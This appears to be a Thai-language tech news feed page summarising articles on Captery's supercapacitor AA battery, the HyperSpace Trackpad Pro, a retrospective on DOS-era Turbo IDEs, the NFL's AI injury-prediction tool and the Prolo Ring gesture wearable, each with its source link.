• “Captery Ultra: แบตเตอรี่ AA ที่ชาร์จไว ใช้ได้นานหลายสิบปี และเป็นมิตรต่อโลก”

    ลองจินตนาการว่าแบตเตอรี่ AA ที่คุณใช้ในรีโมทหรือคีย์บอร์ดไร้สาย สามารถชาร์จเต็มในเวลาแค่ 160 วินาที ใช้ได้นานหลายสิบปี และไม่สร้างขยะพิษให้โลก—นี่คือสิ่งที่สตาร์ทอัพจากอิตาลีชื่อ Captery กำลังทำให้เป็นจริง

    Captery Ultra คือแบตเตอรี่ AA และ AAA ที่ใช้เทคโนโลยี “ซุปเปอร์คาปาซิเตอร์” แทนเคมีแบบดั้งเดิมอย่างลิเธียมหรือนิกเกิลเมทัลไฮไดรด์ ซึ่งทำให้สามารถชาร์จซ้ำได้มากกว่าถ่านทั่วไปถึง 500 เท่า และเสื่อมสภาพช้ากว่ามาก เพราะใช้กระบวนการทางกายภาพในการเก็บพลังงาน ไม่ใช่เคมี

    ที่น่าสนใจคือแรงดันไฟฟ้าของแบตเตอรี่นี้อยู่ที่ 3.2V ซึ่งเพียงพอสำหรับอุปกรณ์ที่ใช้ถ่าน AA สองก้อน และยังมีอุปกรณ์เสริมชื่อ “Bridge” ที่ช่วยให้ใช้งานร่วมกับถ่านเก่าได้อย่างสมดุล

    แม้จะยังอยู่ในช่วงระดมทุนผ่าน Kickstarter แต่ก็ได้รับการสนับสนุนเกินเป้าหมายแล้ว และมีชุดเริ่มต้นราคา €54 (~$63) ที่รวมแบตเตอรี่ AA, AAA, เครื่องชาร์จ S-Charge Plus และอุปกรณ์ Bridge พร้อมจัดส่งทั่วโลก

    เทคโนโลยีนี้อาจเป็นจุดเปลี่ยนของการใช้พลังงานแบบพกพาในอนาคต โดยเฉพาะในยุคที่โลกต้องการลดขยะอิเล็กทรอนิกส์และหาทางเลือกที่ยั่งยืนมากขึ้น

    เทคโนโลยีซุปเปอร์คาปาซิเตอร์
    ใช้กระบวนการทางกายภาพในการเก็บพลังงาน ทำให้ชาร์จเร็วและเสื่อมช้ากว่าแบตเตอรี่ทั่วไป
    ชาร์จเต็มใน 160 วินาที และใช้งานได้นานหลายสิบปี
    ชาร์จซ้ำได้มากกว่าถ่านทั่วไปถึง 500 เท่า

    ความยั่งยืนและสิ่งแวดล้อม
    วัสดุที่ใช้มีความยั่งยืนมากกว่าถ่านทั่วไปถึง 90%
    ลดการสร้างขยะพิษจากแบตเตอรี่ที่ทิ้งปีละหลายพันล้านก้อน

    การใช้งานและอุปกรณ์เสริม
    แรงดันไฟฟ้า 3.2V ใช้ได้กับอุปกรณ์ที่ต้องการถ่าน AA สองก้อน
    ใช้กับรีโมท, คีย์บอร์ดไร้สาย, ของเล่น และอุปกรณ์ทั่วไป
    มีอุปกรณ์ “Bridge” สำหรับใช้งานร่วมกับถ่านเก่า
    เครื่องชาร์จ S-Charge Plus รองรับทั้ง AA และ AAA พร้อมอะแดปเตอร์

    การระดมทุนและการจัดจำหน่าย
    ระดมทุนผ่าน Kickstarter ได้เกินเป้าหมายแล้ว
    ชุดเริ่มต้นราคา €54 (~$63) พร้อมจัดส่งทั่วโลก
    วางแผนผลิตรุ่น 1.5V สำหรับอุปกรณ์ที่ใช้ถ่านก้อนเดียว

    https://www.techradar.com/pro/this-tiny-startup-wants-to-produce-the-worlds-best-aa-battery-capterys-supercapacitor-recharges-in-160-seconds-pollutes-less-and-can-last-decades-and-i-want-one
    🔋 “Captery Ultra: แบตเตอรี่ AA ที่ชาร์จไว ใช้ได้นานหลายสิบปี และเป็นมิตรต่อโลก” ลองจินตนาการว่าแบตเตอรี่ AA ที่คุณใช้ในรีโมทหรือคีย์บอร์ดไร้สาย สามารถชาร์จเต็มในเวลาแค่ 160 วินาที ใช้ได้นานหลายสิบปี และไม่สร้างขยะพิษให้โลก—นี่คือสิ่งที่สตาร์ทอัพจากอิตาลีชื่อ Captery กำลังทำให้เป็นจริง Captery Ultra คือแบตเตอรี่ AA และ AAA ที่ใช้เทคโนโลยี “ซุปเปอร์คาปาซิเตอร์” แทนเคมีแบบดั้งเดิมอย่างลิเธียมหรือนิกเกิลเมทัลไฮไดรด์ ซึ่งทำให้สามารถชาร์จซ้ำได้มากกว่าถ่านทั่วไปถึง 500 เท่า และเสื่อมสภาพช้ากว่ามาก เพราะใช้กระบวนการทางกายภาพในการเก็บพลังงาน ไม่ใช่เคมี ที่น่าสนใจคือแรงดันไฟฟ้าของแบตเตอรี่นี้อยู่ที่ 3.2V ซึ่งเพียงพอสำหรับอุปกรณ์ที่ใช้ถ่าน AA สองก้อน และยังมีอุปกรณ์เสริมชื่อ “Bridge” ที่ช่วยให้ใช้งานร่วมกับถ่านเก่าได้อย่างสมดุล แม้จะยังอยู่ในช่วงระดมทุนผ่าน Kickstarter แต่ก็ได้รับการสนับสนุนเกินเป้าหมายแล้ว และมีชุดเริ่มต้นราคา €54 (~$63) ที่รวมแบตเตอรี่ AA, AAA, เครื่องชาร์จ S-Charge Plus และอุปกรณ์ Bridge พร้อมจัดส่งทั่วโลก เทคโนโลยีนี้อาจเป็นจุดเปลี่ยนของการใช้พลังงานแบบพกพาในอนาคต โดยเฉพาะในยุคที่โลกต้องการลดขยะอิเล็กทรอนิกส์และหาทางเลือกที่ยั่งยืนมากขึ้น ✅ เทคโนโลยีซุปเปอร์คาปาซิเตอร์ ➡️ ใช้กระบวนการทางกายภาพในการเก็บพลังงาน ทำให้ชาร์จเร็วและเสื่อมช้ากว่าแบตเตอรี่ทั่วไป ➡️ ชาร์จเต็มใน 160 วินาที และใช้งานได้นานหลายสิบปี ➡️ ชาร์จซ้ำได้มากกว่าถ่านทั่วไปถึง 500 เท่า ✅ ความยั่งยืนและสิ่งแวดล้อม ➡️ วัสดุที่ใช้มีความยั่งยืนมากกว่าถ่านทั่วไปถึง 90% ➡️ ลดการสร้างขยะพิษจากแบตเตอรี่ที่ทิ้งปีละหลายพันล้านก้อน ✅ การใช้งานและอุปกรณ์เสริม ➡️ แรงดันไฟฟ้า 3.2V ใช้ได้กับอุปกรณ์ที่ต้องการถ่าน AA สองก้อน ➡️ ใช้กับรีโมท, คีย์บอร์ดไร้สาย, ของเล่น และอุปกรณ์ทั่วไป ➡️ มีอุปกรณ์ “Bridge” สำหรับใช้งานร่วมกับถ่านเก่า ➡️ เครื่องชาร์จ S-Charge Plus รองรับทั้ง AA และ AAA พร้อมอะแดปเตอร์ ✅ การระดมทุนและการจัดจำหน่าย ➡️ ระดมทุนผ่าน Kickstarter ได้เกินเป้าหมายแล้ว ➡️ ชุดเริ่มต้นราคา €54 (~$63) พร้อมจัดส่งทั่วโลก ➡️ วางแผนผลิตรุ่น 1.5V สำหรับอุปกรณ์ที่ใช้ถ่านก้อนเดียว https://www.techradar.com/pro/this-tiny-startup-wants-to-produce-the-worlds-best-aa-battery-capterys-supercapacitor-recharges-in-160-seconds-pollutes-less-and-can-last-decades-and-i-want-one
    WWW.TECHRADAR.COM
    Startup Captery proposes quick-charging AA battery with decades of use
    Captery battery even comes with a special, dedicated charger
    0 ความคิดเห็น 0 การแบ่งปัน 136 มุมมอง 0 รีวิว
  • "HyperSpace Trackpad Pro: แทร็คแพดสุดล้ำสำหรับผู้ใช้ Windows ที่อยากได้สัมผัสแบบ Apple"

    Hyper เปิดตัว HyperSpace Trackpad Pro อุปกรณ์เสริมใหม่ที่ออกแบบมาเพื่อเป็นทางเลือกแทน Apple Magic Trackpad สำหรับผู้ใช้ Windows โดยเฉพาะ ด้วยราคาประมาณ $150 และฟีเจอร์ระดับพรีเมียมที่รวมทั้ง haptic feedback, pressure sensitivity และการรองรับ multi-touch gesture แบบเต็มรูปแบบ

    ตัวแทร็คแพดผลิตจาก CNC-aluminum พร้อมพื้นผิวกระจกขัดเรียบ มีขนาด 166.9 x 103.4 x 13 มม. และน้ำหนัก 300 กรัม ใช้ Bluetooth 5.2 เชื่อมต่อกับอุปกรณ์ และมีแบตเตอรี่ 1,000mAh ที่ใช้งานได้ถึง 30 วันต่อการชาร์จหนึ่งครั้ง

    จุดเด่นคือระบบ piezo haptic รุ่นที่ 3 ที่ให้ความรู้สึกคลิกทั่วทั้งพื้นผิว พร้อมการปรับความไวของแรงกด และการตั้งค่า deep-click zones ผ่านซอฟต์แวร์ Hydra Connect ซึ่งรองรับโปรไฟล์เฉพาะสำหรับแอปยอดนิยม เช่น Adobe Photoshop, Premiere Pro, Illustrator, Microsoft Office, Teams และ Figma

    คุณสมบัติหลักของ HyperSpace Trackpad Pro
    รองรับ multi-touch gesture บน Windows อย่างเต็มรูปแบบ
    มี haptic feedback และ pressure sensitivity
    ใช้ Bluetooth 5.2 เชื่อมต่อ
    แบตเตอรี่ 1,000mAh ใช้งานได้ ~30 วัน
    ผลิตจาก CNC-aluminum และพื้นผิวกระจกขัดเรียบ

    ระบบสัมผัสและการตั้งค่า
    ใช้ piezo haptic รุ่นที่ 3 ให้คลิกทั่วพื้นผิว
    ปรับความไวของแรงกดได้ตามต้องการ
    มี force sensing matrix สำหรับการตั้งค่า deep-click zones
    ใช้ซอฟต์แวร์ Hydra Connect ตั้งค่าโปรไฟล์เฉพาะแอป

    การใช้งานร่วมกับระบบอื่น
    รองรับ macOS สำหรับการคลิกและนำทางพื้นฐาน
    มีโปรไฟล์สำเร็จรูปสำหรับแอปยอดนิยม
    สามารถตั้งค่า corner shortcuts และ gesture เฉพาะแอป

    การเปิดตัวและราคา
    เปิดให้ pre-order ผ่าน Kickstarter แล้ว
    ราคาเริ่มต้นที่ $109 สำหรับ Super Early Bird
    Creator Pack ราคา $180 มาพร้อม SSD enclosure
    เริ่มจัดส่งในไตรมาสแรกของปี 2026

    https://www.tomshardware.com/peripherals/the-usd150-external-hyperspace-trackpad-pro-is-an-apple-magic-trackpad-alternative-for-windows-users-with-haptic-feedback-and-pressure-sensitivity-crowdfunded-peripheral-ships-in-q1-2026
    🖱️ "HyperSpace Trackpad Pro: แทร็คแพดสุดล้ำสำหรับผู้ใช้ Windows ที่อยากได้สัมผัสแบบ Apple" Hyper เปิดตัว HyperSpace Trackpad Pro อุปกรณ์เสริมใหม่ที่ออกแบบมาเพื่อเป็นทางเลือกแทน Apple Magic Trackpad สำหรับผู้ใช้ Windows โดยเฉพาะ ด้วยราคาประมาณ $150 และฟีเจอร์ระดับพรีเมียมที่รวมทั้ง haptic feedback, pressure sensitivity และการรองรับ multi-touch gesture แบบเต็มรูปแบบ ตัวแทร็คแพดผลิตจาก CNC-aluminum พร้อมพื้นผิวกระจกขัดเรียบ มีขนาด 166.9 x 103.4 x 13 มม. และน้ำหนัก 300 กรัม ใช้ Bluetooth 5.2 เชื่อมต่อกับอุปกรณ์ และมีแบตเตอรี่ 1,000mAh ที่ใช้งานได้ถึง 30 วันต่อการชาร์จหนึ่งครั้ง จุดเด่นคือระบบ piezo haptic รุ่นที่ 3 ที่ให้ความรู้สึกคลิกทั่วทั้งพื้นผิว พร้อมการปรับความไวของแรงกด และการตั้งค่า deep-click zones ผ่านซอฟต์แวร์ Hydra Connect ซึ่งรองรับโปรไฟล์เฉพาะสำหรับแอปยอดนิยม เช่น Adobe Photoshop, Premiere Pro, Illustrator, Microsoft Office, Teams และ Figma ✅ คุณสมบัติหลักของ HyperSpace Trackpad Pro ➡️ รองรับ multi-touch gesture บน Windows อย่างเต็มรูปแบบ ➡️ มี haptic feedback และ pressure sensitivity ➡️ ใช้ Bluetooth 5.2 เชื่อมต่อ ➡️ แบตเตอรี่ 1,000mAh ใช้งานได้ ~30 วัน ➡️ ผลิตจาก CNC-aluminum และพื้นผิวกระจกขัดเรียบ ✅ ระบบสัมผัสและการตั้งค่า ➡️ ใช้ piezo haptic รุ่นที่ 3 ให้คลิกทั่วพื้นผิว ➡️ ปรับความไวของแรงกดได้ตามต้องการ ➡️ มี force sensing matrix สำหรับการตั้งค่า deep-click zones ➡️ ใช้ซอฟต์แวร์ Hydra Connect ตั้งค่าโปรไฟล์เฉพาะแอป ✅ การใช้งานร่วมกับระบบอื่น ➡️ รองรับ macOS สำหรับการคลิกและนำทางพื้นฐาน ➡️ มีโปรไฟล์สำเร็จรูปสำหรับแอปยอดนิยม ➡️ สามารถตั้งค่า corner shortcuts และ gesture เฉพาะแอป ✅ การเปิดตัวและราคา ➡️ เปิดให้ pre-order ผ่าน Kickstarter แล้ว ➡️ ราคาเริ่มต้นที่ $109 สำหรับ Super Early Bird ➡️ Creator Pack ราคา $180 มาพร้อม SSD enclosure ➡️ เริ่มจัดส่งในไตรมาสแรกของปี 2026 https://www.tomshardware.com/peripherals/the-usd150-external-hyperspace-trackpad-pro-is-an-apple-magic-trackpad-alternative-for-windows-users-with-haptic-feedback-and-pressure-sensitivity-crowdfunded-peripheral-ships-in-q1-2026
    0 ความคิดเห็น 0 การแบ่งปัน 125 มุมมอง 0 รีวิว
  • “ย้อนรอย IDE ยุค DOS — 30 ปีก่อนเรามีอะไรที่วันนี้ยังตามไม่ทัน” — เมื่อ Turbo C++ เคยให้ประสบการณ์ที่ IDE สมัยใหม่ยังเทียบไม่ได้

    Julio Merino ผู้เขียนบล็อก Blog System/5 พาเราย้อนเวลากลับไปสู่ยุค 1980s–1990s เพื่อสำรวจโลกของ IDE (Integrated Development Environment) แบบข้อความ (TUI) ที่รุ่งเรืองบนระบบปฏิบัติการ DOS ก่อนที่ Windows จะครองโลก

    เขาเริ่มจากความทรงจำในวัยเด็กที่เรียนรู้การเขียนโปรแกรมผ่านเครื่องมืออย่าง MS-DOS Editor และ SideKick Plus ซึ่งแม้จะไม่ใช่ IDE เต็มรูปแบบ แต่ก็มีฟีเจอร์อย่างเมนู, การใช้เมาส์, และการสลับหน้าจอแบบ rudimentary multitasking ผ่านเทคนิค TSR (Terminate and Stay Resident)

    จุดเปลี่ยนสำคัญคือการมาถึงของ Borland Turbo series เช่น Turbo Pascal และ Turbo C++ ที่รวมทุกอย่างไว้ในหน้าจอเดียว: การเขียนโค้ด, คอมไพล์, ดีบัก, จัดการโปรเจกต์, และแม้แต่คู่มือภาษา C++ แบบ built-in ทั้งหมดนี้ทำงานได้ใน RAM เพียง 640KB และใช้พื้นที่ไม่ถึง 9MB

    Julio เปรียบเทียบกับเครื่องมือยุคใหม่ เช่น Emacs, Vim, Neovim, Doom Emacs, Helix และ VSCode ซึ่งแม้จะทรงพลังและมีปลั๊กอินมากมาย แต่กลับไม่สามารถให้ประสบการณ์ที่ “ครบ จบในตัว” แบบ Turbo IDE ได้ โดยเฉพาะในแง่ของความเรียบง่าย, การค้นพบฟีเจอร์ด้วยตัวเอง, และการใช้ทรัพยากรที่เบาอย่างเหลือเชื่อ

    เขายังชี้ให้เห็นว่า IDE แบบ TUI มีข้อได้เปรียบในงาน remote development ผ่าน SSH โดยไม่ต้องพึ่ง GUI หรือ remote desktop ที่มักช้าและกินทรัพยากร

    ท้ายที่สุด เขาตั้งคำถามว่า “เราก้าวหน้าจริงหรือ?” เพราะแม้ IDE สมัยใหม่จะมี refactoring และ AI coding assistant แต่ก็แลกมาด้วยความซับซ้อน, ขนาดไฟล์ระดับ GB, และการพึ่งพา cloud services

    IDE ยุค DOS มี TUI เต็มรูปแบบ เช่น Turbo Pascal, Turbo C++
    รวมฟีเจอร์ครบทั้ง editor, compiler, debugger, project manager และ help

    โปรแกรมอย่าง SideKick Plus ใช้เทคนิค TSR เพื่อสลับหน้าจอได้
    เป็น multitasking แบบพื้นฐานในยุคที่ DOS ยังไม่มีฟีเจอร์นี้

    Turbo IDE ใช้ RAM เพียง 640KB และพื้นที่ไม่ถึง 9MB
    แต่ให้ประสบการณ์ที่ครบถ้วนและใช้งานง่าย

    Emacs, Vim, Neovim, Helix และ Doom Emacs แม้จะทรงพลัง
    แต่ยังไม่สามารถให้ประสบการณ์ IDE ที่สมบูรณ์แบบแบบ Turbo ได้

    IDE แบบ TUI เหมาะกับงาน remote development ผ่าน SSH
    ใช้งานได้แม้บนระบบที่ไม่มี GUI เช่น FreeBSD

    LSP (Language Server Protocol) ช่วยให้ TUI editors มีฟีเจอร์ IDE มากขึ้น
    และ BSP (Build Server Protocol) อาจช่วยเติมเต็มในอนาคต

    https://blogsystem5.substack.com/p/the-ides-we-had-30-years-ago-and
    🧵 “ย้อนรอย IDE ยุค DOS — 30 ปีก่อนเรามีอะไรที่วันนี้ยังตามไม่ทัน” — เมื่อ Turbo C++ เคยให้ประสบการณ์ที่ IDE สมัยใหม่ยังเทียบไม่ได้ Julio Merino ผู้เขียนบล็อก Blog System/5 พาเราย้อนเวลากลับไปสู่ยุค 1980s–1990s เพื่อสำรวจโลกของ IDE (Integrated Development Environment) แบบข้อความ (TUI) ที่รุ่งเรืองบนระบบปฏิบัติการ DOS ก่อนที่ Windows จะครองโลก เขาเริ่มจากความทรงจำในวัยเด็กที่เรียนรู้การเขียนโปรแกรมผ่านเครื่องมืออย่าง MS-DOS Editor และ SideKick Plus ซึ่งแม้จะไม่ใช่ IDE เต็มรูปแบบ แต่ก็มีฟีเจอร์อย่างเมนู, การใช้เมาส์, และการสลับหน้าจอแบบ rudimentary multitasking ผ่านเทคนิค TSR (Terminate and Stay Resident) จุดเปลี่ยนสำคัญคือการมาถึงของ Borland Turbo series เช่น Turbo Pascal และ Turbo C++ ที่รวมทุกอย่างไว้ในหน้าจอเดียว: การเขียนโค้ด, คอมไพล์, ดีบัก, จัดการโปรเจกต์, และแม้แต่คู่มือภาษา C++ แบบ built-in ทั้งหมดนี้ทำงานได้ใน RAM เพียง 640KB และใช้พื้นที่ไม่ถึง 9MB Julio เปรียบเทียบกับเครื่องมือยุคใหม่ เช่น Emacs, Vim, Neovim, Doom Emacs, Helix และ VSCode ซึ่งแม้จะทรงพลังและมีปลั๊กอินมากมาย แต่กลับไม่สามารถให้ประสบการณ์ที่ “ครบ จบในตัว” แบบ Turbo IDE ได้ โดยเฉพาะในแง่ของความเรียบง่าย, การค้นพบฟีเจอร์ด้วยตัวเอง, และการใช้ทรัพยากรที่เบาอย่างเหลือเชื่อ เขายังชี้ให้เห็นว่า IDE แบบ TUI มีข้อได้เปรียบในงาน remote development ผ่าน SSH โดยไม่ต้องพึ่ง GUI หรือ remote desktop ที่มักช้าและกินทรัพยากร ท้ายที่สุด เขาตั้งคำถามว่า “เราก้าวหน้าจริงหรือ?” เพราะแม้ IDE สมัยใหม่จะมี refactoring และ AI coding assistant แต่ก็แลกมาด้วยความซับซ้อน, ขนาดไฟล์ระดับ GB, และการพึ่งพา cloud services ✅ IDE ยุค DOS มี TUI เต็มรูปแบบ เช่น Turbo Pascal, Turbo C++ ➡️ รวมฟีเจอร์ครบทั้ง editor, compiler, debugger, project manager และ help ✅ โปรแกรมอย่าง SideKick Plus ใช้เทคนิค TSR เพื่อสลับหน้าจอได้ ➡️ เป็น multitasking แบบพื้นฐานในยุคที่ DOS ยังไม่มีฟีเจอร์นี้ ✅ Turbo IDE ใช้ RAM เพียง 640KB และพื้นที่ไม่ถึง 9MB ➡️ แต่ให้ประสบการณ์ที่ครบถ้วนและใช้งานง่าย ✅ Emacs, Vim, Neovim, Helix และ Doom Emacs แม้จะทรงพลัง ➡️ แต่ยังไม่สามารถให้ประสบการณ์ IDE ที่สมบูรณ์แบบแบบ Turbo ได้ ✅ IDE แบบ TUI เหมาะกับงาน remote development ผ่าน SSH ➡️ ใช้งานได้แม้บนระบบที่ไม่มี GUI เช่น FreeBSD ✅ LSP (Language Server Protocol) ช่วยให้ TUI editors มีฟีเจอร์ IDE มากขึ้น ➡️ และ BSP (Build Server Protocol) อาจช่วยเติมเต็มในอนาคต https://blogsystem5.substack.com/p/the-ides-we-had-30-years-ago-and
    BLOGSYSTEM5.SUBSTACK.COM
    The IDEs we had 30 years ago... and we lost
    A deep dive into the text mode editors we had and how they compare to today's
    0 ความคิดเห็น 0 การแบ่งปัน 152 มุมมอง 0 รีวิว
  • “NFL ใช้ AI คาดการณ์อาการบาดเจ็บ — ยกระดับความปลอดภัยนักกีฬา”

    NFL ร่วมมือกับ Amazon Web Services พัฒนาเครื่องมือชื่อ “Digital Athlete” ที่ใช้ AI และ machine learning วิเคราะห์ข้อมูลจากกล้อง, เซ็นเซอร์ในแผ่นรองไหล่ และระบบติดตามการเคลื่อนไหว เพื่อประเมินความเสี่ยงการบาดเจ็บของนักกีฬาแต่ละคน

    ระบบนี้รวบรวมข้อมูลจากการฝึกซ้อมและการแข่งขันของผู้เล่นกว่า 1,500 คนจากทั้ง 32 ทีม โดยสามารถวิเคราะห์ได้ว่าใครทำงานหนักเกินไป, เสี่ยงบาดเจ็บ, หรือควรปรับตารางซ้อมให้เหมาะสม

    Digital Athlete สร้างข้อมูลมากถึง 500 ล้านจุดต่อสัปดาห์ ซึ่งมากกว่าระบบ NextGen Stats ทั้งฤดูกาล ทำให้ต้องใช้ AI ในการประมวลผลเพื่อให้ได้ข้อมูลเชิงลึกที่นำไปใช้จริงได้

    นอกจากการดูแลสุขภาพนักกีฬาแล้ว NFL ยังใช้ข้อมูลนี้เพื่อจำลองผลกระทบจากการเปลี่ยนกฎ เช่น kickoff แบบใหม่ หรือการห้าม tackle แบบ hip-drop โดยสามารถจำลองได้ถึง 10,000 ฤดูกาลเพื่อประเมินความเสี่ยง

    ผลลัพธ์ที่เห็นได้ชัดคือจำนวนการกระทบกระเทือนสมอง (concussion) ลดลงอย่างมีนัยสำคัญ โดยเฉพาะในตำแหน่ง quarterback ที่มีการปรับปรุงหมวกกันกระแทกตามข้อมูลที่ได้

    NFL ใช้เครื่องมือ Digital Athlete ร่วมกับ AWS
    วิเคราะห์ข้อมูลจากเซ็นเซอร์, กล้อง และการเคลื่อนไหว

    รวบรวมข้อมูลจากผู้เล่นกว่า 1,500 คนใน 32 ทีม
    ใช้ในการประเมินความเสี่ยงและปรับตารางซ้อม

    สร้างข้อมูลมากถึง 500 ล้านจุดต่อสัปดาห์
    ต้องใช้ AI และ machine learning ในการประมวลผล

    ใช้ข้อมูลจำลองผลกระทบจากการเปลี่ยนกฎ
    เช่น kickoff แบบใหม่ และการห้าม hip-drop tackle

    จำนวน concussion ลดลง โดยเฉพาะในตำแหน่ง quarterback
    จากการปรับปรุงหมวกกันกระแทกตามข้อมูลที่ได้

    https://www.thestar.com.my/tech/tech-news/2025/10/18/nfl-uses-ai-to-predict-injuries-aiming-to-keep-players-healthier
    🏈 “NFL ใช้ AI คาดการณ์อาการบาดเจ็บ — ยกระดับความปลอดภัยนักกีฬา” NFL ร่วมมือกับ Amazon Web Services พัฒนาเครื่องมือชื่อ “Digital Athlete” ที่ใช้ AI และ machine learning วิเคราะห์ข้อมูลจากกล้อง, เซ็นเซอร์ในแผ่นรองไหล่ และระบบติดตามการเคลื่อนไหว เพื่อประเมินความเสี่ยงการบาดเจ็บของนักกีฬาแต่ละคน ระบบนี้รวบรวมข้อมูลจากการฝึกซ้อมและการแข่งขันของผู้เล่นกว่า 1,500 คนจากทั้ง 32 ทีม โดยสามารถวิเคราะห์ได้ว่าใครทำงานหนักเกินไป, เสี่ยงบาดเจ็บ, หรือควรปรับตารางซ้อมให้เหมาะสม Digital Athlete สร้างข้อมูลมากถึง 500 ล้านจุดต่อสัปดาห์ ซึ่งมากกว่าระบบ NextGen Stats ทั้งฤดูกาล ทำให้ต้องใช้ AI ในการประมวลผลเพื่อให้ได้ข้อมูลเชิงลึกที่นำไปใช้จริงได้ นอกจากการดูแลสุขภาพนักกีฬาแล้ว NFL ยังใช้ข้อมูลนี้เพื่อจำลองผลกระทบจากการเปลี่ยนกฎ เช่น kickoff แบบใหม่ หรือการห้าม tackle แบบ hip-drop โดยสามารถจำลองได้ถึง 10,000 ฤดูกาลเพื่อประเมินความเสี่ยง ผลลัพธ์ที่เห็นได้ชัดคือจำนวนการกระทบกระเทือนสมอง (concussion) ลดลงอย่างมีนัยสำคัญ โดยเฉพาะในตำแหน่ง quarterback ที่มีการปรับปรุงหมวกกันกระแทกตามข้อมูลที่ได้ ✅ NFL ใช้เครื่องมือ Digital Athlete ร่วมกับ AWS ➡️ วิเคราะห์ข้อมูลจากเซ็นเซอร์, กล้อง และการเคลื่อนไหว ✅ รวบรวมข้อมูลจากผู้เล่นกว่า 1,500 คนใน 32 ทีม ➡️ ใช้ในการประเมินความเสี่ยงและปรับตารางซ้อม ✅ สร้างข้อมูลมากถึง 500 ล้านจุดต่อสัปดาห์ ➡️ ต้องใช้ AI และ machine learning ในการประมวลผล ✅ ใช้ข้อมูลจำลองผลกระทบจากการเปลี่ยนกฎ ➡️ เช่น kickoff แบบใหม่ และการห้าม hip-drop tackle ✅ จำนวน concussion ลดลง โดยเฉพาะในตำแหน่ง quarterback ➡️ จากการปรับปรุงหมวกกันกระแทกตามข้อมูลที่ได้ https://www.thestar.com.my/tech/tech-news/2025/10/18/nfl-uses-ai-to-predict-injuries-aiming-to-keep-players-healthier
    WWW.THESTAR.COM.MY
    NFL uses AI to predict injuries, aiming to keep players healthier
    The Digital Athlete tool takes video and data from players on all 32 teams from training, practice and games, giving every team information on how hard its players have worked, whether they are at risk for more injuries, as well as helping them track leaguewide trends and benchmarks.
    0 ความคิดเห็น 0 การแบ่งปัน 192 มุมมอง 0 รีวิว
  • “Prolo Ring แหวนควบคุมคอมพิวเตอร์ด้วยนิ้ว — อุปกรณ์สวมใส่ที่อาจเปลี่ยนวิธีใช้เมาส์ไปตลอดกาล” — เมื่อการควบคุมคอมพิวเตอร์ไม่ต้องใช้เมาส์อีกต่อไป แค่ขยับนิ้วก็สั่งงานได้

    Prolo Ring คืออุปกรณ์สวมใส่ที่เปิดตัวผ่าน Kickstarter โดยมีเป้าหมายเปลี่ยนวิธีที่เราควบคุมคอมพิวเตอร์ ด้วยการใช้แหวนที่สวมบนนิ้วแทนเมาส์แบบเดิม ๆ ตัวแหวนทำจากอะลูมิเนียมชุบอโนไดซ์ มีให้เลือก 3 สี และประกอบด้วย 3 ส่วนหลัก: เซนเซอร์ตรวจจับการเคลื่อนไหวแบบ 6 แกน, แทร็กแพดขนาดเล็ก และ “modstrip” ที่ทำหน้าที่เป็นปุ่มเสริม

    แทร็กแพดบนแหวนสามารถแตะ, กดค้าง, หรือปัดเพื่อสั่งงาน เช่น คลิกขวา, เปิดเมนู, เล่น/หยุดวิดีโอ หรือปรับระดับเสียง ส่วน modstrip จะช่วยเพิ่มฟังก์ชันให้แทร็กแพด เช่น ใช้เป็นปุ่ม Shift หรือ Ctrl เพื่อเรียกคำสั่งพิเศษ

    ที่น่าสนใจคือ Prolo Ring รองรับการตั้งค่ามาโครผ่านแอป companion และสามารถสั่งงานด้วย “air gestures” ได้มากกว่า 40 รูปแบบ เช่น ปัดนิ้วกลางอากาศเพื่อเปลี่ยนภาพ ซึ่งคล้ายกับเทคโนโลยี Soli ของ Google ที่เคยใช้ใน Pixel 4 XL

    แหวนนี้เชื่อมต่อผ่าน Bluetooth และสามารถใช้งานได้กับทุกระบบปฏิบัติการโดยไม่ต้องใช้แอปเสริม แต่หากต้องการใช้ฟีเจอร์ขั้นสูง เช่น การตั้งค่ามาโครหรือปรับแต่ง gesture ผู้ใช้ต้องมี “license” ซึ่งมีเฉพาะในรุ่น Pro ราคา $149 ขึ้นไป โดยรุ่นพื้นฐาน $99 และ $129 ไม่รวม license นี้

    แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จหนึ่งครั้ง และสามารถชาร์จผ่านเคสไร้สายที่เก็บพลังงานได้ถึง 30 วัน

    Prolo Ring เป็นอุปกรณ์สวมใส่ที่ควบคุมคอมพิวเตอร์ด้วยนิ้ว
    ใช้เซนเซอร์ 6 แกน, แทร็กแพด และ modstrip

    แทร็กแพดรองรับการแตะ, กดค้าง, ปัด เพื่อสั่งงาน
    ใช้ควบคุมเมนู, เล่น/หยุดวิดีโอ, ปรับเสียง ฯลฯ

    modstrip ทำหน้าที่เป็นปุ่มเสริมเพื่อเพิ่มฟังก์ชัน
    ใช้ร่วมกับแทร็กแพดเพื่อเรียกคำสั่งพิเศษ

    รองรับ air gestures มากกว่า 40 รูปแบบ
    เช่น ปัดนิ้วเพื่อเปลี่ยนภาพหรือเลื่อนสไลด์

    เชื่อมต่อผ่าน Bluetooth และรองรับทุกระบบปฏิบัติการ
    ใช้งานได้แม้ไม่ติดตั้งแอป companion

    แอป companion ใช้ตั้งค่ามาโครและปรับแต่ง gesture
    ต้องมี license เพื่อใช้งานฟีเจอร์ขั้นสูง

    รุ่น Pro ราคา $149 ขึ้นไปเท่านั้นที่มี license
    รุ่น $99 และ $129 ไม่รวม license

    แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จ
    เคสไร้สายเก็บพลังงานได้ถึง 30 วัน

    https://www.tomshardware.com/peripherals/wearable-tech/give-your-mouse-the-finger-with-this-wild-cursor-control-ring-prolo-ring-hits-kickstarter-hoping-to-transform-your-finger-into-the-ultimate-macro-and-gesture-device
